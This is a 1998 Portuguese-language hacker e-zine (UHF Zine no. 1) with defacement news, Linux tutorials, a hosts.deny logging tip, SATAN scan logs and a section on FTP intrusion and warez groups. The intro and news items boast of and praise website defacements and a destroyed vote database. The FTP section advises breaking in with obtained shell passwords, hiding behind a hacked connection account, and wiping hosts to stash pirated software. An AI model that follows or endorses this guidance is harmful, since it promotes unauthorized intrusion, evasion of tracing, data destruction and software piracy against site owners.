Edicao 1 - Fevereiro 1998



                        UHF   UHF    UHF   UHF    UHFUHFH
                       UHF   UHF    UHF   UHF    UHF
                      UHF   UHF    UHFUHFUHF    UHFUHF   
                     UHF   UHF    UHF   UHF    UHF                      
                     UHFUHFH     UHF   UHF    UHF 
  
                             UNIT HACKER FORCE
     _,o*`*o,,o*>  (Unidade de Forca Hacker)   <*o,,o*`*o,_         



.'.'.'.'.'.'.'.=-=-=-=-=-=-=-_UHF Zine N 1_-=-=-=-=-=-=-=-==-'.'.'.'.'.'.'.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


(Melhor visualizado pelo Edit, pico, vi etc...)


E-Mail: uhf@freemail.globalsite.com.br
Home Page: http://uhf.home.ml.org
Ftp: ftp://200.130.54.6/UHF


                    "Os computadores dominam o mundo,
                     nos dominamos os computadores,
                     Logo, dominaremos o Mundo"
                                                 'GhOsT InVaDeR




ATENCAO: Nenhum integrante desta zine se responsabiliza pelo mau uso das
informacoes aqui contidas.



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


INDICE
-=-=-=

1) INTRODUCAO.......................................GhOsT InVaDeR

2) NOTICIA: SITE UNICEF HACKED.......................GhOsT InVaDeR

3) NOTICIA: TOP10 BRASIL HACKED....................GhOsT InVaDeR

4) HOSTS.ALLOW/HOSTS.DENY.............................. _Daniel

5) SATAN.............................................SUiCiDE

6) INSTALANDO LINUX RED HAT............................._BrAiN_

7) FTP E WAREZ........................................by Hightech

8) MAILING LIST...................................GhOsT InVaDeR

9) MANUAL LINUX.......................................GhOsT InVaDeR

10) VOCABULARIO.........................................GhOsT InVaDeR

11) BACKDOOR /BIN/SH.................................GhOsT InVaDeR

12) MAILS DOS LEITORES................................GhOsT InVaDeR

13) EDITORES.........................................Group

14) ULTIMATE...........................................GhOsT InVaDeR

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



INTRODUCAO : by GhOsT InVaDeR
-=-=-=-=-=-


Yo,

Eh com muito orgulho que apresento a versao 01 da UHF zine.
Isso mesmo, passando por cima de tudo e de todos a zine esta aqui, e promete
continuar na ativa e nao terminar na versao 03 como a maioria das zines ;]
Agora com mais editores, mais membros e muito mais servicos como FTP,
MAILING LIST etc...
O ftp ainda esta um pouco vazio mas da pra pegar muitos progs la. O end. eh
ftp://200.130.54.6/UHF
(Sobre a mailing list tera uma secao dedicada a ela nesta zine).
O UHF esta mostrando ser um dos poucos grupos do brasil que agem, e nao
ficam apenas batendo papo no IRC.
A prova disso sao as mais de 20 hps hackeadas este mes, sendo algumas empres-
sariais e com dominio propio (confira na hp).
Nesta edicao foi incluida algumas secoes onde darei noticias hacker do mundo
inteiro, ja que no brasil nao existe uma hp que faca tal coisa. Ha, e tambem
colocarei na hp, deixando assim todos mais informados do que anda acontecendo
no mundo e no brasil.
Bom, pra economizar tempo e bytes, HAVE FUN!!


'GhOsT InVaDeR

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=



SITE DA UNICEF HACKEADO : by Ghost Invader
-=-=-=-=-=-=-=-=-=-=-=-


"Quinta-feira, 7 de janeiro de 1998,
O Site da UNICEF foi hackeado na
noite de 7 de janeiro de 1998.
Enquanto representantes do sites nao se
preocupavam com a suposta invasao de  hackers, 
este site foi se tornando uma mira devido a 
pobre seguranca.
Mais uma vez novamente, a mensagem
enfocou no caso do encarceramento de Kevin 
Mitnick."
                           2600 magazine



Huheuhe, que bom navegar pelo site da 2600 e encontrar uma noticia destas.
O interesse de hackers do mundo inteiro no momento est voltado para invaso
de HPs e campanhas para libertacao de Mitnick.
Eh ai que esta a uniao hacker, kevin foi preso mas nao esquecido. Um belo
exemplo de hackers americanos para nos brasileiros.
Isso indiretamente me deixa em um certo ponto mais feliz e seguro, ja
que sei que ha uma certa harmonia entre esta comunidade.
Quando um assassino vai preso outros assassinos se importam ou fazem algumas
"acoes" para libertacao do mesmos? ou politicos? hehe, esses muito menos.
Ta ai a base da nossa criacao.
O porque de existir tantos hackers no mundo, e o porque dos mesmos continuarem
sempre na ativa, haja o que houver.
Mesmo com dificuldade e obstaculos a comunidade hacker esta ai para apoiar o
irmao injustamente incriminado.
Well,    
                   !!!!!!!!! FREE KEVIN NOW !!!!!!!!!!!
                        
'GhOsT InVaDeR

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



TOP10 BRASIL HACKED : by GhOsT InVaDeR
-=-=-=-=-=-=-=-=-=-



                                TOP 10 BRASIL
                                 *comunicado*

     "Na tarde de sexta-feira (23/1) o sistema TOP 10 BRASIL foi
      invadido e a nossa base de votos atacada. Como todo bom trabalho
      de invasao, nosso "amigo" nao deixou pistas.
      Pudemos recuperar via backup toda a programacao e arquivos
      graficos, mas o arquivo de votos, que eh modificado a cada segundo,
      foi danificado e o placar perdido.

      Nada nos resta agora senao recomear. Estamos prorrogando o
      prazo de encerramento da edicao para o dia 7 de fevereiro, ainda a
      tempo de publicar o placar na edicao de marco da INTERNET.BR.

      Estamos trabalhando para colocar o placar de volta em
      funcionamento, o mais breve possivel.

      A equipe do TOP 10 BRASIL, agradece as manifestacoes de
      preocupacoes e apoio que tem recebido."





Hahahahahaha, gracas a deus algum fez isso.
Eu ja nao aguentava mais aquele tanto de janela aberta escrito "VOTE NA MINHA
PAGINA PRO TOP10 BRASIL", "CLIQUE AQUI PRA VOTAR" bah....
Espero que agora os webmasters das hps que participam desta porcaria acordem
e tirem suas hps de la, ja que agora foi tudo pro espaco.
Quero parabenizar o hacker que fez isso, se o mesmo estiver lendo esta zine,
pode contar comigo para publicar coisas feitas por ele, tks man ;]


'GhOsT InVaDeR

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



HOSTS.ALLOW/HOSTS.DENY : _Daniel
-=-=-=-=-=-=-=-=-=-=-=-



E ae galera, sou novo ai no UHF, hehehe, minha primeira
materia nessa zine :-D Tipo vou falar sobre o hosts.deny
e o hosts.allow

Esses dois arquivos ficam no diretorio /etc . A funcao deles
eh determinar a entrada de determinado servico na maquina

Ao acessar uma maquina a sequencia eh a seguinte:

 - Verifica-se se o IP e o servico estao no hosts.allow, caso 
estiver o acesso eh garantido. (mesmo se estiver no hosts.deny)
 - Verifica-se se o IP e o servico estao no hosts.deny, se nao
estiverem o acesso eh garantido.
Ps: Se o IP nao estiver no hosts.deny nem no hosts.allow o 
acesso eh garantido.

* Hosts.deny - Contem os Hosts e servicos que NAO podem acessar
a maquina.

Sintaxe: Servico:IP


         Ex.: in.telnetd:200.00.00.15
                   |         |
                   |         |- O IP da maquina que nao pode acessar
                   |         | o servico anterior.
                   |- Servico, no caso o telnet.


Obs.: Podemos usar alguns Wildcarsds como o Local ou o All.


         Ex.: in.telnetd:All    - Isso diz que nenhum IP a nao ser
local pode acessar o servico telnet
              All:All  - Isso diz que nenhum IP a nao ser Local pode
acessar todos os servicos disnoniveis na maquina.

* Hosts.allow - Contem os servicos que certo Ips PODEM acessar.

Sintaxe: Igual o Hosts.deny so que agora garante acesso
Servico:IP

         Ex.: in.telnetd:200.00.00.50
                 Agora o servico telnet esta garantido pro IP determinado.

              All:All
                 Agora todos os IP`s podem acessar todos os servicos 
                 que a maquina tiver. ( NAO ACONSELHO )

Lembrete: Eh importante destacar que podemos colocar varias linhas diferentes
em ambos arquivos.

* Dica - Bom agora a melhor parte, um truquezinho no hosts.deny

Voce tem que acrescentar a seguinte linha no hosts.deny:


All:All: twist /var/noaccess %h %d ; \
         /bin/echo -e "%h tentou acessar %d " >> /var/log/security.log ;


Essa linha fara o seguinte, todo ip que acessar qualquer servico da maquina
ira executar o programa noaccess e ira logar o IP da maquina e o servico que
o mesmo tentou acessar no arquivo /var/log/security
Eh bom sempre da uma olhadinha nesse arquivo, para isso basta digitar:

 cat /var/log/security.log

ou entao deixar um console rodando, assim:

 tail -f /var/log/security.log

Ahh, sem esquecer que se voce quiser dar acesso a alguma maquina apos a 
inclusao daquela linha acima no hosts.deny basta acrescentar no hosts.allow,
tipo :

         Ex.: in.telnetd:127.0.0.1
             Isso eh pra dar acesso telnet ao loopback.


Bom gente, eh so, agora tua maquina esta menos vulneravel aos ataques externos.
Tipo, qualquer duvida fale comigo na BrasIRC no canal #UHF ou me mande um email
_daniel@brasirc.com.br

Opz, ja ia esquecendo de mandar o noaccess.c , ai vai em ASCII:

-----------------------CORTE AQUI-----------------------

/*
NoAccess
Credits go to Daniel , a friend of mine
*/

#include <stdio.h>
int main(int argc, char *argv[]){
        int i;
         printf("Voce ,[ %s ],nao foi autorizado a usar %s\n\n", argv[1],argv[2]);
         printf("Voce esta nos meus logs!Nao volte mais !!!\n\n");
         printf("\n\n");
         printf("                                Script By Daniel\n\n");
         printf("                             _daniel@brasirc.com.br\n\n");
 for(i=10; i >= 0; printf("%i ",i), fflush(stdout), sleep(1), i--);
 }

--------------------------------------------------------

Compile esse noaccess com cc (ou gcc) -o noaccess noaccess.c
e coloque no dir /var e pronto.


'_Daniel

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=



SATAN : By SUiCiDE
-=-=-



(enviada para COPPE-UFRJ em listas hacker's)



O Satan e uma ferramenta de analise de seguranca para auditoria de redes.
Ele examina a disponibilidade de servicos do tipo rexc, login, NIS, NFS,
finger entre outros. Esta analise e baseada em regras de seguranga para
redes de computadores, sendo assim, ele pode ser utilizado tanto para
previnir possiveis invasoes quanto para coletar informacoes necessarias
para se invadir um sistema.

Ele foi concebido por "Dan Farmer", antigo funcionario da "Sun Microsystems" 
e por "Wietse Venema", que trabalha na Eindhoven University of Technology... 

Na realidade o Satan nao faz nenhuma magica. Ele se utiliza de funcoes do 
Unixcode, servicos de protocolo que devolvem informacoes sobre o sistema 
no qual esta instalado, isto e, tudo que o Satan faz pode ser feito
manualmente, ele apenas facilita e muito este trabalho. Note que o que ele 
utiliza para colher informacoes de servicos permitidos. Ele como e um 
produto de varredura e como qualquer servico de varredura deixa marcas
profundas nas log's dos sistemas.

Para se detectar este tipo de marca, e necessario que se passe a coletar todos 
os pacotes que passam pela rede e procurar um padrao de varredura. Softwares
que sao bastante utilizados para se coletar estas informacoes 
(como os TCP WRAPPERS) se baseiam em checar os servicos que estao sendo 
utilizados abaixo da porta 1024 e de servicos que sao acessados via inetd.

Isto e, tentativas em portas que nao estao na tabela do inetd nao sao 
registradas. Assim torna-se mais dificil se verificar uma varredura, pois
nao se consegue registrar todas as acoes do software que esta executando a 
mesma. Emtestes anteriores feitos em laboratorios, foi confirmado que este 
tipo de log nao e eficiente para se detectar uma varredura.

O Satan tem tres modulos de rastreamento: o light, o medium e o heavy. Nao
experimentei os tres modulos, so registrando os pacotes rejeitados. 
experimentei em um endereco que nao permite nenhum acesso para podermos ter 
uma log completa da acao do Satan.

Varredura efetuada pelo software SATAN em modulo Light

Nov 29 10:39:18 firewall kernel: R TCP 164.41.12.65 859 164.41.12.126 111

Como pode observar, o modulo light apenas faz uma consulta ao RCP do sistema. 
Este tipo de acao e extremamente dificil, ou impossivel dizer se esta consulta 
foi ou nao de uma varredura. Em compensacao, este modulo nao fornece muitas 
informcoes sobre o sistema.

Varredura efetuada pelo software SATAN em modulo Medium

Nov 29 10:42:58 firewall kernel: R TCP 164.41.12.65 891 164.41.12.126 111
Nov 29 10:43:00 firewall kernel: R TCP 164.41.12.65 1333 164.41.12.126 79
Nov 29 10:43:00 firewall kernel: R TCP 164.41.12.65 1334 164.41.12.126 79
Nov 29 10:43:00 firewall kernel: R TCP 164.41.12.65 1335 164.41.12.126 79
Nov 29 10:43:00 firewall kernel: R TCP 164.41.12.65 1336 164.41.12.126 79
Nov 29 10:43:00 firewall kernel: R TCP 164.41.12.65 1337 164.41.12.126 79
Nov 29 10:43:01 firewall kernel: R TCP 164.41.12.65 1338 164.41.12.126 79
Nov 29 10:43:01 firewall kernel: R TCP 164.41.12.65 1339 164.41.12.126 70
Nov 29 10:43:01 firewall kernel: R TCP 164.41.12.65 1340 164.41.12.126 80
Nov 29 10:43:01 firewall kernel: R TCP 164.41.12.65 1341 164.41.12.126 21
Nov 29 10:43:01 firewall kernel: R TCP 164.41.12.65 1342 164.41.12.126 23
Nov 29 10:43:01 firewall kernel: R TCP 164.41.12.65 1343 164.41.12.126 25
Nov 29 10:43:01 firewall kernel: R TCP 164.41.12.65 1344 164.41.12.126 119
Nov 29 10:43:02 firewall kernel: R TCP 164.41.12.65 1345 164.41.12.126 540

No modulo medium a varredura i bem mais completa. Ele procura servigos do
tipo RPC (porta 111), finger (porta 79), gopher ( porta 70), WWW (porta 80),
ftp(porta 21), telnet(porta 23), sendmail (porta 25). nntp (porta 119) e 
uucp (porta 540).

Note que se a varredura fosse feita externamente a nossa 
rede a antares.linf.unb.br as portas 70, 80, 21,23, 25 nao apareceria de a 
cordo com a configuracao, mas mesmo assim esta.


'SUiCiDE

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


INSTALANDO LINUX RED HAT : by _BrAiN_
-=-=-=-=-=-=-=-=-=-=-=-=-



Ola eu sou _BrAiN_ um dos membros do grupo UHF e hoje vou escrever
sobre a instalacao do Linux Red Hat.
Muitas pessoas dizem que o  Linux Slackware e melhor que o Red Hat,
teoricamente e um pouco eu vi apenas uma diferenca...o Linux Slackware e 
bem mais facil de se instalar por isso eu resolvi escrever este texto.
Vou tentar ser o mais direto possivel.Vou descrever o modo de instalacao 
por CD-ROM, que e um pouco mais simples,mais nada muito relevante ao Disquete
(so vai dar um pouco mais de trabalho).Primeiro e necessario criar o disco 
de Boot,(naum precisa criar o de Root como no Slackware).


Criando o disco de boot:

No diretorio dosutils do CD-ROM existe alguns arquivos que serao necessarios
_Como criar o disco de boot ??
_Com o programa rawrite,basta apenas insirir um disco formatado na unidade A
e digitar :


    rawrite /images/boot.img a: [ENTER]


E pronto criado o disco de boot.Agora voce precisa criar um particao.
Voce tem a opcao de formatar seu HD pelo Dos dividir(fdisk.exe)ou dividir seu
HD com o programa Fips,tambem contido no diretorio dosutils
OBS: O fips.exe dividi o HD mesmo naum formatado...legal.E cria um particao 
DOS putz...mas calma...mais tarde colocaremos ela No-Dos...hehehhehehe.
Ja falei demais sobre disco de boot e particao agora de um reboot na maquina, 
e insira o disco de Boot.


--Iniciando a instalacao do seu Linux Red Hat:--
Insira o disco de Boot, aparecera a seguinte tela:


LILO Boot:
Digite Linux ou de um Enter.Pronto voce estara instalando o seu 
Linux...configuracoes a parte, vai aparecera tela onde e feita a pergunta 
onde instalar(em que particao)ai voce vai em edit, voce estara no fdisk do 
linux.Agora voce colocara a particao que voce criou em No-dos, com?? ai vao
alguns comandos do fdisk


n--cria uma particao


p--status das particoes atuais


t--troca modo de particao,como passar de dos para Linux Native


d--deleta uma particao


q--sai do fdisk sem gravar as mudancas feitas


w--sai do fdisk gravando as mudancas feitas


Neste processo voce devera passar a particao criada para Linux Native com o
comando "t".E criar uma particao com uns 10 MB,20 no maximo(esta devera ser
Linux Swap,codigo 82)e pronto digite o comando "w".A partir de agora e so 
configurar o seu linux(Isso qualquer lamer faz).Depois de voce ter instalado
e configurado.Voce tera que compilar o Kernel do  seu Red Hat .Siga os passos:


Compilando o Kernel
cd /usr/src/linux [ENTER]make config [ENTER]---fara umas perguntas caso naum
saiba va pelas defaults(opcoes que estao em letra maiuscula)


make dep [ENTER]


make clean [ENTER]


make zlilo [ENTER]


make modules [ENTER]


make modules install [ENTER]


Pronto agora voce esta com Linux configurado,instalado e com Kernel copilado.

Aconselho a visitarem a HP do Linux Manual---http://www.netdados.com.br/tlm

Espero que eu tenha sido direto e claro e que naum tenha complicado ninguem 
pois esse e meu primeiro texto.

Qualquer coisa procurem-me no IRC.

'
_BrAiN_


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



FTP E WAREZ : by Hightech
-=-=-=-=-=-



                       Invasao por FTP e Grupos Warez



FTP e Warez, duas coisas muito ligadas. Para um newbie, os sistemas em FTP
sao temidos, perigosos e dificies de acessar. Mas agora vamos mostrar nesse
texto como seria uma invasao por FTP e como se formaria um Warez.

- - - - - - - - - - - - - - - 

Sistemas em FTP:


Invadir sistemas por FTP, atualmente, eh uma coisa simples e facil.
FTP e aquela parte da Web destinada ha simples depositos de arquivos,
mas na verdade, os sistemas em FTP guardam as vezes informacoes
sigilosas, basta o usuario saber o que esta invadindo. Para essa invasao,
vamos usar uma arma muito basica: um programa de FTP,
feito para melhorar a administracao dos arquivos de um sistema que esteja
online (provedores por exemplo), esse programa eh hoje em dia, utilizado
pelos hackers para uma acao contraria:
perturbar esses sistemas e penetrar nos diretorios, vasculhando todos os
arquivos possiveis.
Os sistemas em FTP, quando se tem a root e shell deles, eh simples de serem
hackeados.
Para que essa invasao possa ser realizada, voce tem que ter pelo menos dois
itens basicos:
um bom programa de FTP e uma senha shell do sistema. O CUT_FTP eh um programa.
A  senha shell, fica por sua conta, mas eh recomendado para os newbies uma
shell de provedores. Alem desses itens, um distraidor de bina pode ser
necesserio, pois assim voce podera distrair o sistema binario, caso o seu
IP esteja sendo rastreado.

Bom, vamos logo ao que interessa. Abra o seu programa de FTP, e tenha em maos
o HOST o USER-ID e o PASSWORD,
ex: www.netfly.com / marcio / marcio. Agora, voce insere esses dados e conecta
o seu computador ao host.
Com tudo pronto, o sistema ira reconhecer a shell e, se aprovada, levara voce
a ter acesso aos diretorios desse sistemas,
que antes so poderiam se acessados por usuarios do proprio sistema. Com tudo
nas suas maos, basta entrar nos diretorios e explorar de que o sistema dispoe.
Para nao perder tempo, entre logo nos diretorios onde se encontram os passwords,
dependendo do sistema, voce podera obter ate outras shells.
Voce tem que observar se ao entrar em alguns diretorios, apareca a mensagem:
ACCESS DENIED, geralmente, isso significa que o sistema trancou o seu acesso aos
diretorios, e pode iniciar um rastreamento.
Para voce nao se preocupe com isso, use uma senha de conexao hackeada, pois se o
seu IP for pego, voce nao tera problemas.
	 


Warez: uma acao em conjunto

Voce esta la, invadindo algum sistema por FTP e pensa naqueles grandiosos bancos
de dados, cheio de softwares e arquivos ah muito tempo escondidos. Voce tambem
pode fazer um reservatorio como esse, do mesmo jeito que grandes grupos Warez
fazem. A palavra diz bem, vem de softwares,
trocando o s pelo Z, que indica uma acao "ilegal". Bom, para os hackers, a palavra
ilegal nao existe.
Para se ter um  grande grupo especializado em pirataria de softwares, e necessario
varios tipos de componentes especializados em varias coisas para que isso possa ser
feito. O item mais importante num grupo
desses eh a uniao, pois sao necessarios programadores, crackers, operadores de IRC..
O IRC envolve o Warez,
pois e la que na grande maioria se faz a troca dos softwares de diversos grupos.
A primeira coisa e encontrar um sistema para servir de reservatorio dos softwares
do seu grupo.
Com shells, voce podera encontrar os host ideal para voce apagar todo o contedo,
e, consequentemente,
inserir os novos programas. O clan precisa encontrar primeiramente os softwares que
irao por no host; voce pode encontrar esses softwares em outros hosts warez, alguns
canais de IRC e ate algum componente do clan que trabalhe em algum provedor que pode
as vezes conseguir esses softwares. Depois, se necessario, alguns componentes
precisarao construir crack's para desabilitar certas funcoes desses softwares.
Com tudo pronto, voc pode tambm distribuir os mesmos softwares pelo IRC, com isso
voce pode ate obter novos programas.
Mas quais so as facilidades que um Warez oferece e um usuario? Muito bem, com o Warez,
voce pode pegar programas, tais como
jogos completos e programas com cracks, desabilitando o seu tempo de uso.
Sao facilidades que voce nao encontra em FTP's oficiais.
E quais sao as dificuldades? Dizer que nao existe dificuldades em manter esses hosts
repletos de "reliquias" em funcionamento seria mentira.
Existem diversos tipos de usuarios que podem dar trabalho, como os "deleters".
Sao eles que entram em alguns hosts e apagam todo o seu contedo, acabando de vez com
o reservatorio do clan.
Para que isso nao seja problema, o grupo de warez tem que ter varios hosts em
funcionamento.
E caso haja um problema maior, como todos os hosts forem desconectados do ar, por
exemplo, eh necessario que certos componentes tenham
um HD com grande espaco para abrigar esses softwares.


'Hightech


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



MAILING LIST : by GhOsT InVaDeR
-=-=-=-=-=-=-


Bem, como ja devem saber foi criada a MAINGLIST do UHF (Unit Hacker Force).
Esta lista foi criada para que haja troca de informacoes
entre os habitantes do mundo underground.
Sao validos todos os assuntos, HACK, CRACKS, PHRACK, WAREZ, IRC WAR etc...
A lista nao eh moderada portanto todas as mensagens serao automaticamente 
redirecionada para todos os usuarios.

Nao serao aceitos:

1) LAMMERS

2) LAMMERS

3) LAMMERS


Aqui so serao aceitos newbies e hackers, qualquer mensagem lamah
e o autor sera deletado da lista.


ENTRAR NA LISTA:

Para entrar na lista, mande um mail para uhf@freemail.soteris.com.br
com o subject:
INSCREVA SEU_MAIL
(Ex: INSCREVA lammer@usa.net)



MANDAR MENSAGENS:

As mensagens devem ser enviadas para uhfls@coollist.com.
As mesmas podem demorar cerca de 1 hora para serem direcionadas.



SAIR DA LISTA:

Para retirar seu mail da lista envie um mail para uhf@freemail.soteris.com.br com o subject:
DELETE seu_mail
(Ex: DELETE lammer@usa.net)




HELP:

Help? pra que help?
Se voce nao entendeu ainda voce eh lammer, portanto nao sera aceito na lista.




Duvidas inteligentes ou sugestoes,


'GhOsT InVaDeR [ghostin@freemail.globalsite.com.br]


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



MANUAL LINUX - Parte 2  : by Ghost Invader
-=-=-=-=-=-=-=-=-=-=-=


Bom, como prometi na primeira zine aqui vai a segunda parte do manual linux.
Esta parte se dedica a comandos, lilo, aplicativos, mount etc...

Sempre lembrando que este manual foi criado por HUGO CISNEIROS -
hugo@netdados.com.br / www.netdados.com.br/tlm - e eh na minha opiniao o
melhor que ja li (parabens hugo).
Este arquivo tem mais ou menos uns 200 kbytes, por isso separei em pedacos
que vao ser publicados na zine.

OBS: Como ele foi feito em windows (Acho), alguns caracteres que eram acentos
vao parecer meio estranhos mas da pra entender.



-----------------------[Cut Here]----------------

2.  Comandos Bsicos

ls = Lista os arquivos, mesmo que dir do DOS
     Atributos comuns: -a = mostra arquivos ocultos
                       -l = mostra bytes, permissoes, diretorio, etc

Obs: no ls os nomes de arquivos nos sistemas *X (Unix, linux, etc) nao
precisam ter so 8 letras. Dai, se voce quer listar os arquivos comecados
com u, por exemplo, peca ls u* e veja o resultado.
* substitui qualquer conjunto de caracteres
? substitui caracteres isolados
----------
rm = remove arquivos, no formato: rm (arquivo1) (arquivo2) (arquivo3) ...
     Exemplo: rm eu.doc / rm leiame.txt manual.html win95.w95

----------
cp = copia arquivos, no formato: cp (arquivo1) (diretorio)
     Exemplo: cp manual.txt /home/manual

----------
cat = mostra o conteudo do arquivo, mesmo que o 'type' no DOS
----------
more = exibe o conteudo de um arquivo pagina a pagina, mesmo q no DOS
     Exemplo: ls|more

----------
pwd = exibe o diretorio atual (o que vc esta)
----------
rmdir = apaga diretorio
     Exemplo: rmdir /diretorio
              se o diretorio estiver cheio, use o rm com o atributo -r

----------
mkdir = cria diretorio
     Exemplo: mkdir /diretorio

----------
clear = limpa a tela, mesmo que 'cls' no DOS
----------
who = mostra quem estah na maquina no momento
----------
whoami = mostra quem voce eh - util quando vc esquece com q login entrou... ;)
----------
finger = mostra o usuario associado a certa chave
----------
df = mostra o espaco usado, livre e a capacidade das particoes do HD
----------
free = exibe a memoria livre, a usada, e o buffers da memoria RAM
----------
exit e logout = sai da sessao atual
----------
tar (tape archive) programa de geracao de backup
tar -c gera backup
tar -x restaura backup
tar -v lista cada arquivo processado
tar -t lista o conteudo de um backup
----------
Nota: Para descompactar arquivos "tagged"(.tar.gz, .tgz, etc)
tar zxpvf (nome_do_arquivo)
Se o arquivo for "gziped"(.gz):
gunzip -d (nome_do_arquivo)
----------
chmod - muda as permissoes do arquivo/diretorio
chown - muda as permissoes do arquivo/diretorio

awk - Procura por um modelo a partir de um arquivo. Inclui uma linguagem de programacao embutida.
----------
bdiff - Compara dois arquivos grandes.
----------
bfs - Procura um arquivo grande.
----------
cal - Exibe um calendario.
----------
cat - Encadeia e imprimi arquivos.
----------
cc - Compilador C.
----------
cd - Muda diretorio.
----------
chgrp - Muda o titulo de um grupo de arquivos.
----------
cmp - Compara dois arquivos; mostra a localizacao (linha e byte) da primeira diferenca entre eles.
----------
comm - Compara dois arquivos para determinar quais linhas sao comuns entre eles.
----------
cu - Chamar outro sistema UNIX.
----------
date - Retorna a data e a hora.
----------
diff - Exibe as diferencas entre dois arquivos ou diretorios.
----------
diff3 -  Exibe as diferencas entre tres arquivos ou diretorios.
----------
du - Relatorio no uso do sistema de arquivos.
----------
echo - Exibe seus argumentos.
----------
ed - Editor de texto.
----------
ex - Editor de texto.
----------
expr - Avalia seus argumentos quando geralmente e uma formula matematica.
----------
f77 - Compilador FORTRAN.
----------
find - Localiza os arquivos c/ caracteristicas especificas.
----------
format - Inicializa um floppy disk.
----------
grep - Procura um modelo a partir de um arquivo. (veja awk)
----------
help - :/ (ajuda)
----------
kill - Termina um processo.
----------
ln - Usado para unir arquivos.
----------
lpr - Copia um arquivo para a linha de impressora.
----------
ls - Exibe informacoes sobre um ou mais arquivos.
----------
mail - Usado para receber ou enviar e-mail.
----------
nroff - Usado para formatar textos.
----------
ps - Exibe um status dos processos.
----------
sleep - Causa um processo para tornar-se inativo por uma duracao de tempo especifica.
----------
sort - Escolher e unir um ou mais arquivos.
----------
spell - Procurar erros de ortografia num arquivo.
----------
split - Dividir um arquivo.
----------
stty - Exibir ou escolher parametros do terminal.
----------
tail - Exibir o fim de um arquivo.
----------
tset - Escolher o tipo de terminal.
----------
umask - Permite que o usuario especifique uma nova criacao de camuflagem.
----------
uniq - Compara dois arquivos. Procura e exibe em linhas o que e incomparavel em um arquivo.
----------
uucp - Execucao UNIX-para-UNIX 
----------
vi - Editor de tela cheia.
----------
wc - Exibe detalhes no tamanho do arquivo.
----------
who - Informacoes de quem esta on-line.
----------
write - Usado para mandar mensagens para outro usuario.

================================================================
3.  Aplicativos Linux

Navegadores Web:

Netscape Navigator: http://www.caldera.com/products/netscape/netscape.html
Lynx: http://lynx.browser.org
Arena Web Browser: http://www.yggdrasil.com/Products/Arena
Chimera: http://www.unlv.edu/chimera/
NCSA Mosaic for X: http://www.ncsa.uiuc.edu/SDG/Software/XMosaic/
VR Web: http://hyperg.iicm.tu-graz.ac.at/vrweb


Programas de E-Mail:

Pine: http://www.cac.washington.edu/pine/
Procmail: http://www.ii.com/internet/robots/procmail/
FetchMail: http://www.ccil.org/~esr/esr-freeware.html
qmail: http://www.qmail.org
sendmail: http://www.sendmail.org


Aplicativos Internet:

BitchX ircII Client: http://www.sasknet.com/~pionh/index.htm
cIRCus: http://www.nijenrode.nl/~ivo/circus/
Sirc: http://www.eleves.ens.fr:8080/home/espel/sirc.html
Zircon: http://catless.ncl.ac.uk/Programs/Zircon/README.html
mxFTP: http://www.ajsoft.demon.co.uk/mxFtp.html
pppcosts: http://www.cs-ka.de/tillmann.steinbrecher/pppcosts.htm
sFTP: http://www.concentric.net/~mrsam/sftp/index.html
xmFTP: http://www.magg.net/~kaos/html/xmftp.html

================================================================
4.  Manual Pages

Antes de pedir alguma ajuda a alguem, porque voc nao olha num manual? Mas como? Onde?
Se voc est com qualquer dvida sobre algum comando, digite simplesmente:

man (comando)

